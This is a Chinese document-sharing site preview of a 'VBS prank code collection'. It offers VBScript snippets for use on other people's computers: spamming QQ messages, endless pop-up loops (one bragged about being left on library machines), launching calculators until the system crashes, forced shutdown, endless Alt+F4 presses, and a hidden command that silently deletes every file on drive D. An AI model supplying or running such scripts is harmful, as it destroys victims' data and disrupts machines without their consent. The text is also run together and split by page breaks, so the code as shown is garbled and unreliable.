vbs整人代码大集合1

vbs整人代码大集合1

ID:31922084

大小:41.50 KB

页数:8页

时间:2019-01-27

vbs整人代码大集合1_第1页
vbs整人代码大集合1_第2页
vbs整人代码大集合1_第3页
vbs整人代码大集合1_第4页
vbs整人代码大集合1_第5页
资源描述:

《vbs整人代码大集合1》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、.一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------OnErrorResumeNextDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与xx聊天

2、中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"nextwscript.quit----------------------------------------------------------------------------二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈------------------------------------------------------------------------------domsgbox"Youarefo

3、olish!"loop------------------------------------------------------------------------------三、打开无数个计算器,直到死机------------------------------------------------------------------------------setwsh=createobject("wscript.shell")do...wsh.run"calc"loop--------------------------------

4、---------------------------------------------四、直接关机-----------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"shutdown-f-s-t00",0,true五、删除D:所有文件------------------------------------

5、---------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd/c""deld:*.*/f/q/s""",0,true----------------------------------------------------------------------------六、不断弹出窗口--------------------------------------------

6、--------------------------------while(1)msgbox"哈哈你被耍了!"loop----------------------------------------------------------------------------七、不断按下alt+f4(开什么都关闭……)---------------------------------------------------------------------------...dimWSHshellsetWSHshell=wscript.create

7、object("wscript.shell")while(1)WSHshell.SendKeys"%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中dountils=500,500可以随意更改)-----------------------------------------------------------------------------dims

8、dountils=500s=s+1msgbox"哥们,给我按500次回车吧",64loop'--------------------------------------------------

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。